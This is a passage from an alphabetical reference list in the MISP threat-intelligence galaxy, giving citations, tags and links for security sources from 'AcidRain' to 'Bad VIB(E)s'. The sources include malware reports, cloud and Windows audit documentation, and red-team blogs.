Antony J. Blinken, US Department of State. (2022, May 10). Attribution of Russia's Malicious Cyber Activity Against Ukraine. Retrieved March 25, 2024.

The tag is: *misp-galaxy:references="AcidRain State Department 2022"*

Table 19490. Table References

Links
https://www.state.gov/attribution-of-russias-malicious-cyber-activity-against-ukraine/

Audit OSX

Gagliardi, R. (n.d.). Audit in a OS X System. Retrieved September 23, 2021.

The tag is: *misp-galaxy:references="Audit OSX"*

Table 19491. Table References

Links
https://www.scip.ch/en/?labs.20150108

Broadcom ESXi Shell Audit

Broadcom. (2025, February 20). Auditing ESXi Shell logins and commands. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="Broadcom ESXi Shell Audit"*

Table 19492. Table References

Links
https://knowledge.broadcom.com/external/article/321910/auditing-esxi-shell-logins-and-commands.html

Microsoft Audit Logon Events

Microsoft. (2021, September 6). Audit logon events. Retrieved September 28, 2021.

The tag is: *misp-galaxy:references="Microsoft Audit Logon Events"*

Table 19493. Table References

Links
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/basic-audit-logon-events

Cloud Audit Logs

Google. (n.d.). Audit Logs. Retrieved June 1, 2020.

The tag is: *misp-galaxy:references="Cloud Audit Logs"*

Table 19494. Table References

Links
https://cloud.google.com/logging/docs/audit#admin-activity

Microsoft Scheduled Task Events Win10

Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.

The tag is: *misp-galaxy:references="Microsoft Scheduled Task Events Win10"*

Table 19495. Table References

Links
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events

auditpol

Jason Gerend, et al. (2017, October 16). auditpol. Retrieved September 1, 2021.

The tag is: *misp-galaxy:references="auditpol"*

Table 19496. Table References

Links

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol

auditpol.exe_STRONTIC

STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021.

The tag is: *misp-galaxy:references="auditpol.exe_STRONTIC"*

Table 19497. Table References

Links
https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html

Audit_Policy_Microsoft

Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September 13, 2021.

The tag is: *misp-galaxy:references="Audit_Policy_Microsoft"*

Table 19498. Table References

Links
https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy

TechNet Audit Policy

Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.

The tag is: *misp-galaxy:references="TechNet Audit Policy"*

Table 19499. Table References

Links
https://technet.microsoft.com/en-us/library/dn487457.aspx

Microsoft Audit Registry July 2012

Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.

The tag is: *misp-galaxy:references="Microsoft Audit Registry July 2012"*

Table 19500. Table References

Links
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)

audits linikatz

Wadhwa-Brown, Tim. (2022). audit.rules. Retrieved September 17, 2024.

The tag is: *misp-galaxy:references="audits linikatz"*

Table 19501. Table References

Links
https://github.com/CiscoCXSecurity/linikatz/blob/master/blue/audit/audit.rules

Security Affairs Elderwood Sept 2012

Paganini, P. (2012, September 9). Elderwood project, who is behind Op. Aurora and ongoing attacks?. Retrieved February 13, 2018.

The tag is: *misp-galaxy:references="Security Affairs Elderwood Sept 2012"*

Table 19502. Table References

Links
http://securityaffairs.co/wordpress/8528/hacking/elderwood-project-who-is-behind-op-aurora-and-ongoing-attacks.html

Australia ‘Evil Twin’

Toulas, Bill. (2024, July 1). Australian charged for ‘Evil Twin’ WiFi attack on plane. Retrieved September 17, 2024.

The tag is: *misp-galaxy:references="Australia ‘Evil Twin’"*

Table 19503. Table References

Links
https://www.bleepingcomputer.com/news/security/australian-charged-for-evil-twin-wifi-attack-on-plane/

NIST Authentication

NIST. (n.d.). Authentication. Retrieved January 30, 2020.

The tag is: *misp-galaxy:references="NIST Authentication"*

Table 19504. Table References

Links
https://csrc.nist.gov/glossary/term/authentication

MSDN Authentication Packages

Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.

The tag is: *misp-galaxy:references="MSDN Authentication Packages"*

Table 19505. Table References

Links
https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx

Microsoft Authenticode

Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.

The tag is: *misp-galaxy:references="Microsoft Authenticode"*

Table 19506. Table References

Links
https://msdn.microsoft.com/library/ms537359.aspx

K8s Authorization Overview

Kubernetes. (n.d.). Authorization Overview. Retrieved June 24, 2021.

The tag is: *misp-galaxy:references="K8s Authorization Overview"*

Table 19507. Table References

Links
https://kubernetes.io/docs/reference/access-authn-authz/authorization/

SSH Authorized Keys

ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020.

The tag is: *misp-galaxy:references="SSH Authorized Keys"*

Table 19508. Table References

Links
https://www.ssh.com/ssh/authorized_keys/

Trend Micro njRAT 2018

Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.

The tag is: *misp-galaxy:references="Trend Micro njRAT 2018"*

Table 19509. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/

Re-Open windows on Mac

Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.

The tag is: *misp-galaxy:references="Re-Open windows on Mac"*

Table 19510. Table References

Links
https://support.apple.com/en-us/HT204005

TechNet Autoruns

Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.

The tag is: *misp-galaxy:references="TechNet Autoruns"*

Table 19511. Table References

Links
https://technet.microsoft.com/en-us/sysinternals/bb963902

Autoruns for Windows

Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.

The tag is: *misp-galaxy:references="Autoruns for Windows"*

Table 19512. Table References

Links
https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns

Hornet Security Avaddon June 2020

Security Lab. (2020, June 5). Avaddon: From seeking affiliates to in-the-wild in 2 days. Retrieved August 19, 2021.

The tag is: *misp-galaxy:references="Hornet Security Avaddon June 2020"*

Table 19513. Table References

Links
https://www.hornetsecurity.com/en/security-information/avaddon-from-seeking-affiliates-to-in-the-wild-in-2-days/

Avaddon Ransomware 2021

Javier Yuste and Sergio Pastrana. (2021). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="Avaddon Ransomware 2021"*

Table 19514. Table References

Links
https://arxiv.org/pdf/2102.04796

Arxiv Avaddon Feb 2021

Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021.

The tag is: *misp-galaxy:references="Arxiv Avaddon Feb 2021"*

Table 19515. Table References

Links
https://arxiv.org/pdf/2102.04796.pdf

CISA Phishing

CISA. (2021, February 1). Avoiding Social Engineering and Phishing Attacks. Retrieved September 8, 2023.

The tag is: *misp-galaxy:references="CISA Phishing"*

Table 19516. Table References

Links
https://www.cisa.gov/news-events/news/avoiding-social-engineering-and-phishing-attacks

Malwarebytes AvosLocker Jul 2021

Hasherezade. (2021, July 23). AvosLocker enters the ransomware scene, asks for partners. Retrieved January 11, 2023.

The tag is: *misp-galaxy:references="Malwarebytes AvosLocker Jul 2021"*

Table 19517. Table References

Links
https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners

avoslocker_ransomware

Lakshmanan, R. (2022, May 2). AvosLocker Ransomware Variant Using New Trick to Disable Antivirus Protection. Retrieved May 17, 2022.

The tag is: *misp-galaxy:references="avoslocker_ransomware"*

Table 19518. Table References

Links
https://thehackernews.com/2022/05/avoslocker-ransomware-variant-using-new.html

Cisco Talos Avos Jun 2022

Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.

The tag is: *misp-galaxy:references="Cisco Talos Avos Jun 2022"*

Table 19519. Table References

Links
https://blog.talosintelligence.com/avoslocker-new-arsenal/

Awesome Executable Packing

Alexandre D'Hondt. (n.d.). Awesome Executable Packing. Retrieved March 11, 2022.

The tag is: *misp-galaxy:references="Awesome Executable Packing"*

Table 19520. Table References

Links
https://github.com/dhondta/awesome-executable-packing

ESET Kobalos Jan 2021

M.Leveille, M., Sanmillan, I. (2021, January). A WILD KOBALOS APPEARS Tricksy Linux malware goes after HPCs. Retrieved August 24, 2021.

The tag is: *misp-galaxy:references="ESET Kobalos Jan 2021"*

Table 19521. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf

GeeksforGeeks October 10 2017

GeeksforGeeks Improve. (2017, October 10). AWK command in UnixLinux with examples - GeeksforGeeks. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="GeeksforGeeks October 10 2017"*

Table 19522. Table References

Links
https://www.geeksforgeeks.org/awk-command-unixlinux-examples/

AWS Root User

Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.

The tag is: *misp-galaxy:references="AWS Root User"*

Table 19523. Table References

Links
https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html

GitHub AWS-ADFS-Credential-Generator

Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved September 27, 2024.

The tag is: *misp-galaxy:references="GitHub AWS-ADFS-Credential-Generator"*

Table 19524. Table References

Links
https://github.com/pvanbuijtene/aws-adfs-credential-generator

AWS GetPasswordPolicy

Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021.

The tag is: *misp-galaxy:references="AWS GetPasswordPolicy"*

Table 19525. Table References

Links

https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html

AWS Console Sign-in Events

Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October 23, 2019.

The tag is: *misp-galaxy:references="AWS Console Sign-in Events"*

Table 19526. Table References

Links
https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html

AWS Describe DB Instances

Amazon Web Services. (n.d.). Retrieved May 28, 2021.

The tag is: *misp-galaxy:references="AWS Describe DB Instances"*

Table 19527. Table References

Links
https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html

AWS Get Bucket ACL

Amazon Web Services. (n.d.). Retrieved May 28, 2021.

The tag is: *misp-galaxy:references="AWS Get Bucket ACL"*

Table 19528. Table References

Links
https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html

AWS Get Public Access Block

Amazon Web Services. (n.d.). Retrieved May 28, 2021.

The tag is: *misp-galaxy:references="AWS Get Public Access Block"*

Table 19529. Table References

Links
https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html

AWS Head Bucket

Amazon Web Services. (n.d.). AWS HeadBucket. Retrieved February 14, 2022.

The tag is: *misp-galaxy:references="AWS Head Bucket"*

Table 19530. Table References

Links
https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html

Rhino Security Labs AWS Privilege Escalation

Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation – Methods and Mitigation. Retrieved May 27, 2022.

The tag is: *misp-galaxy:references="Rhino Security Labs AWS Privilege Escalation"*

Table 19531. Table References

Links
https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/

AWS Lambda Redirector

Adam Chester. (2020, February 25). AWS Lambda Redirector. Retrieved July 8, 2022.

The tag is: *misp-galaxy:references="AWS Lambda Redirector"*

Table 19532. Table References

Links
https://blog.xpnsec.com/aws-lambda-redirector/

Sysdig AMBERSQUID September 18 2023

Alessandro Brucato. (2023, September 18). AWS's Hidden Threat: AMBERSQUID Cloud-Native Cryptojacking Operation. Retrieved April 11, 2024.

The tag is: *misp-galaxy:references="Sysdig AMBERSQUID September 18 2023"*

Table 19533. Table References

Links
https://sysdig.com/blog/ambersquid/

Rhino Security Labs AWS S3 Ransomware

Spencer Gietzen. (n.d.). AWS Simple Storage Service S3 Ransomware Part 2: Prevention and Defense. Retrieved March 21, 2023.

The tag is: *misp-galaxy:references="Rhino Security Labs AWS S3 Ransomware"*

Table 19534. Table References

Links
https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/

AWS Systems Manager Run Command

AWS. (n.d.). AWS Systems Manager Run Command. Retrieved March 13, 2023.

The tag is: *misp-galaxy:references="AWS Systems Manager Run Command"*

Table 19535. Table References

Links
https://docs.aws.amazon.com/systems-manager/latest/userguide/run-command.html

Pylos Xenotime 2019

Slowik, J.. (2019, April 12). A XENOTIME to Remember: Veles in the Wild. Retrieved April 16, 2019.

The tag is: *misp-galaxy:references="Pylos Xenotime 2019"*

Table 19536. Table References

Links
https://pylos.co/2019/04/12/a-xenotime-to-remember-veles-in-the-wild/

objective-see ay mami 2018

Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.

The tag is: *misp-galaxy:references="objective-see ay mami 2018"*

Table 19537. Table References

Links
https://objective-see.com/blog/blog_0x26.html

Microsoft AZ CLI

Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.

The tag is: *misp-galaxy:references="Microsoft AZ CLI"*

Table 19538. Table References

Links
https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest

Intezer Russian APT Dec 2020

Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021.

The tag is: *misp-galaxy:references="Intezer Russian APT Dec 2020"*

Table 19539. Table References

Links
https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/

az monitor diagnostic-settings

Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020.

The tag is: *misp-galaxy:references="az monitor diagnostic-settings"*

Table 19540. Table References

Links
https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete

Microsoft Azure AD Security Operations for Devices

Microsoft. (2020, September 16). Azure Active Directory security operations for devices. Retrieved February 21, 2023.

The tag is: *misp-galaxy:references="Microsoft Azure AD Security Operations for Devices"*

Table 19541. Table References

Links
https://learn.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices

Microsoft Azure Active Directory security operations guide

Microsoft . (2022, September 16). Azure Active Directory security operations guide. Retrieved February 21, 2023.

The tag is: *misp-galaxy:references="Microsoft Azure Active Directory security operations guide"*

Table 19542. Table References

Links
https://learn.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-introduction

Azure AD Connect for Read Teamers

Adam Chester. (2019, February 18). Azure AD Connect for Red Teamers. Retrieved September 28, 2022.

The tag is: *misp-galaxy:references="Azure AD Connect for Read Teamers"*

Table 19543. Table References

Links
https://blog.xpnsec.com/azuread-connect-for-redteam/

Microsoft - Azure PowerShell

Microsoft. (2014, December 12). Azure/azure-powershell. Retrieved March 24, 2023.

The tag is: *misp-galaxy:references="Microsoft - Azure PowerShell"*

Table 19544. Table References

Links
https://github.com/Azure/azure-powershell

Azure Blob Storage

Microsoft. (n.d.). Azure Blob Storage. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Azure Blob Storage"*

Table 19545. Table References

Links
https://azure.microsoft.com/en-us/products/storage/blobs/

Microsoft Azure Instance Metadata 2021

Microsoft. (2021, February 21). Azure Instance Metadata Service (Windows). Retrieved April 2, 2021.

The tag is: *misp-galaxy:references="Microsoft Azure Instance Metadata 2021"*

Table 19546. Table References

Links
https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows

Microsoft Azure Policy

Microsoft. (2023, August 30). Azure Policy built-in policy definitions. Retrieved September 5, 2023.

The tag is: *misp-galaxy:references="Microsoft Azure Policy"*

Table 19547. Table References

Links
https://learn.microsoft.com/en-us/azure/governance/policy/samples/built-in-policies#compute

SpecterOps Azure Privilege Escalation

Andy Robbins. (2021, October 12). Azure Privilege Escalation via Service Principal Abuse. Retrieved April 1, 2022.

The tag is: *misp-galaxy:references="SpecterOps Azure Privilege Escalation"*

Table 19548. Table References

Links
https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5

Azure Products

Microsoft. (n.d.). Azure products. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Azure Products"*

Table 19549. Table References

Links
https://azure.microsoft.com/en-us/products/

Azure - Resource Manager API

Microsoft. (2019, May 20). Azure Resource Manager. Retrieved June 17, 2020.

The tag is: *misp-galaxy:references="Azure - Resource Manager API"*

Table 19550. Table References

Links
https://docs.microsoft.com/en-us/rest/api/resources/

Mandiant Azure Run Command 2021

Adrien Bataille, Anders Vejlby, Jared Scott Wilson, and Nader Zaveri. (2021, December 14). Azure Run Command for Dummies. Retrieved March 13, 2023.

The tag is: *misp-galaxy:references="Mandiant Azure Run Command 2021"*

Table 19551. Table References

Links
https://www.mandiant.com/resources/blog/azure-run-command-dummies

Microsoft Azure security baseline for Azure Active Directory

Microsoft. (2022, November 14). Azure security baseline for Azure Active Directory. Retrieved February 21, 2023.

The tag is: *misp-galaxy:references="Microsoft Azure security baseline for Azure Active Directory"*

Table 19552. Table References

Links
https://learn.microsoft.com/en-us/security/benchmark/azure/baselines/aad-security-baseline

Microsoft - Azure Sentinel ADFSDomainTrustMods

Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.

The tag is: *misp-galaxy:references="Microsoft - Azure Sentinel ADFSDomainTrustMods"*

Table 19553. Table References

Links
https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml

Azure Serial Console

Microsoft. (2022, October 17). Azure Serial Console. Retrieved June 2, 2023.

The tag is: *misp-galaxy:references="Azure Serial Console"*

Table 19554. Table References

Links
https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/serial-console-overview

Microsoft Azure Storage Security, 2019

Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019.

The tag is: *misp-galaxy:references="Microsoft Azure Storage Security, 2019"*

Table 19555. Table References

Links
https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide

Azure - Stormspotter

Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June 17, 2020.

The tag is: *misp-galaxy:references="Azure - Stormspotter"*

Table 19556. Table References

Links
https://github.com/Azure/Stormspotter

Cyjax Bjorka January 29 2025

Jovana Macakanja. (2025, January 29). Babuk Ba-back? Potential Return of the Infamous RaaS Group. Retrieved February 14, 2025.

The tag is: *misp-galaxy:references="Cyjax Bjorka January 29 2025"*

Table 19557. Table References

Links
https://www.cyjax.com/resources/blog/babuk-ba-back-potential-return-of-the-infamous-raas-group/

Medium Babuk February 2021

Sebdraven. (2021, February 8). Babuk is distributed packed. Retrieved August 11, 2021.

The tag is: *misp-galaxy:references="Medium Babuk February 2021"*

Table 19558. Table References

Links
https://sebdraven.medium.com/babuk-is-distributed-packed-78e2f5dd2e62

Sogeti CERT ESEC Babuk March 2021

Sogeti. (2021, March). Babuk Ransomware. Retrieved August 11, 2021.

The tag is: *misp-galaxy:references="Sogeti CERT ESEC Babuk March 2021"*

Table 19559. Table References

Links
https://www.sogeti.com/globalassets/reports/cybersecchronicles-_babuk.pdf

Unit42 BabyShark Apr 2019

Lim, M.. (2019, April 26). BabyShark Malware Part Two – Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019.

The tag is: *misp-galaxy:references="Unit42 BabyShark Apr 2019"*

Table 19560. Table References

Links
https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/

Mandiant APT29 Phishing September 21 2023

Luke Jenkins, Josh Atkins, Dan Black. (2023, September 21). Backchannel Diplomacy: APT29's Rapidly Evolving Diplomatic Phishing Operations. Retrieved March 22, 2025.

The tag is: *misp-galaxy:references="Mandiant APT29 Phishing September 21 2023"*

Table 19561. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/apt29-evolving-diplomatic-phishing/

Symantec Briba May 2012

Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.

The tag is: *misp-galaxy:references="Symantec Briba May 2012"*

Table 19562. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99

TrendMicro Squiblydoo Aug 2017

Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. Retrieved March 7, 2019.

The tag is: *misp-galaxy:references="TrendMicro Squiblydoo Aug 2017"*

Table 19563. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/

Symantec Darkmoon Aug 2005

Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.

The tag is: *misp-galaxy:references="Symantec Darkmoon Aug 2005"*

Table 19564. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99

ESET BackdoorDiplomacy Jun 2021

Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021

The tag is: *misp-galaxy:references="ESET BackdoorDiplomacy Jun 2021"*

Table 19565. Table References

Links
https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/

Backdooring an AWS account

Daniel Grzelak. (2016, July 9). Backdooring an AWS account. Retrieved May 27, 2022.

The tag is: *misp-galaxy:references="Backdooring an AWS account"*

Table 19566. Table References

Links
https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9

Symantec Linfo May 2012

Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.

The tag is: *misp-galaxy:references="Symantec Linfo May 2012"*

Table 19567. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99

Symantec Backdoor.Mivast

Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.

The tag is: *misp-galaxy:references="Symantec Backdoor.Mivast"*

Table 19568. Table References

Links
http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2

Symantec Nerex May 2012

Ladley, F. (2012, May 15). Backdoor.Nerex. Retrieved February 23, 2018.

The tag is: *misp-galaxy:references="Symantec Nerex May 2012"*

Table 19569. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99

Symantec Backdoor.Nidiran

Sponchioni, R.. (2016, March 11). Backdoor.Nidiran. Retrieved August 3, 2016.

The tag is: *misp-galaxy:references="Symantec Backdoor.Nidiran"*

Table 19570. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-120123-5521-99

Symantec Remsec IOCs

Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.

The tag is: *misp-galaxy:references="Symantec Remsec IOCs"*

Table 19571. Table References

Links
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf

Symantec Ristol May 2012

Ladley, F. (2012, May 15). Backdoor.Ritsol. Retrieved February 23, 2018.

The tag is: *misp-galaxy:references="Symantec Ristol May 2012"*

Table 19572. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3909-99

Symantec Vasport May 2012

Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.

The tag is: *misp-galaxy:references="Symantec Vasport May 2012"*

Table 19573. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99

FSecure Hupigon

FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.

The tag is: *misp-galaxy:references="FSecure Hupigon"*

Table 19574. Table References

Links
https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml

Symantec Wiarp May 2012

Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.

The tag is: *misp-galaxy:references="Symantec Wiarp May 2012"*

Table 19575. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99

Microsoft Lamin Sept 2017

Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.

The tag is: *misp-galaxy:references="Microsoft Lamin Sept 2017"*

Table 19576. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A

Microsoft PoisonIvy 2017

McCormack, M. (2017, September 15). Backdoor:Win32/Poisonivy.E. Retrieved December 21, 2020.

The tag is: *misp-galaxy:references="Microsoft PoisonIvy 2017"*

Table 19577. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor%3aWin32%2fPoisonivy.E

Microsoft Win Defender Truvasys Sep 2017

Microsoft. (2017, September 15). Backdoor:Win32/Truvasys.A!dha. Retrieved November 30, 2017.

The tag is: *misp-galaxy:references="Microsoft Win Defender Truvasys Sep 2017"*

Table 19578. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha

Microsoft Wingbird Nov 2017

Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.

The tag is: *misp-galaxy:references="Microsoft Wingbird Nov 2017"*

Table 19579. Table References

Links

https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha

Microsoft KnuckleTouch 2024

Microsoft. (2024, February 14). Backdoor:Win64/KnuckleTouch.A!dha. Retrieved January 6, 2025.

The tag is: *misp-galaxy:references="Microsoft KnuckleTouch 2024"*

Table 19580. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win64/KnuckleTouch.A!dha&threatId=-2147067254

Microsoft BITS

Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.

The tag is: *misp-galaxy:references="Microsoft BITS"*

Table 19581. Table References

Links
https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx

NCC Group Research Blog August 19 2022

NCC Group Research Blog. (2022, August 19). Back in Black: Unlocking a LockBit 3.0 Ransomware Attack. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="NCC Group Research Blog August 19 2022"*

Table 19582. Table References

Links
https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/

Tech Republic - Restore AWS Snapshots

Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019.

The tag is: *misp-galaxy:references="Tech Republic - Restore AWS Snapshots"*

Table 19583. Table References

Links
https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/

BleepingComputer BackSwap

Catalin Cimpanu. (2018, May 25). BackSwap Banking Trojan Uses Never-Before-Seen Techniques. Retrieved March 27, 2025.

The tag is: *misp-galaxy:references="BleepingComputer BackSwap"*

Table 19584. Table References

Links
https://www.bleepingcomputer.com/news/security/backswap-banking-trojan-uses-never-before-seen-techniques/

welivesecurity BackSwap

Michal Poslušný. (2018, May 25). BackSwap malware finds innovative ways to empty bank accounts. Retrieved March 27, 2025.

The tag is: *misp-galaxy:references="welivesecurity BackSwap"*

Table 19585. Table References

Links
https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/

Secureworks COBALT DICKENS August 2018

Counter Threat Unit Research Team. (2018, August 24). Back to School: COBALT DICKENS Targets Universities. Retrieved February 3, 2021.

The tag is: *misp-galaxy:references="Secureworks COBALT DICKENS August 2018"*

Table 19586. Table References

Links
https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities

Cybereason Kimsuky November 2020

Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.

The tag is: *misp-galaxy:references="Cybereason Kimsuky November 2020"*

Table 19587. Table References

Links
https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite

Proofpoint TA453 March 2021

Miller, J. et al. (2021, March 30). BadBlood: TA453 Targets US and Israeli Medical Research Personnel in Credential Phishing Campaigns. Retrieved May 4, 2021.

The tag is: *misp-galaxy:references="Proofpoint TA453 March 2021"*

Table 19588. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential

Unit 42 BadPatch Oct 2017

Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.

The tag is: *misp-galaxy:references="Unit 42 BadPatch Oct 2017"*

Table 19589. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/

ESET Bad Rabbit

M.Léveille, M-E.. (2017, October 24). Bad Rabbit: Not-Petya is back with improved ransomware. Retrieved January 28, 2021.

The tag is: *misp-galaxy:references="ESET Bad Rabbit"*

Table 19590. Table References

Links
https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/

Secure List Bad Rabbit

Mamedov, O. Sinitsyn, F. Ivanov, A.. (2017, October 24). Bad Rabbit ransomware. Retrieved January 28, 2021.

The tag is: *misp-galaxy:references="Secure List Bad Rabbit"*

Table 19591. Table References

Links
https://securelist.com/bad-rabbit-ransomware/82851/

Google Cloud Threat Intelligence ESXi VIBs 2022

Alexander Marvi, Jeremy Koppen, Tufail Ahmed, and Jonathan Lepore. (2022, September 29). Bad VIB(E)s Part One: Investigating Novel Malware Persistence Within ESXi Hypervisors. Retrieved March 26, 2025.

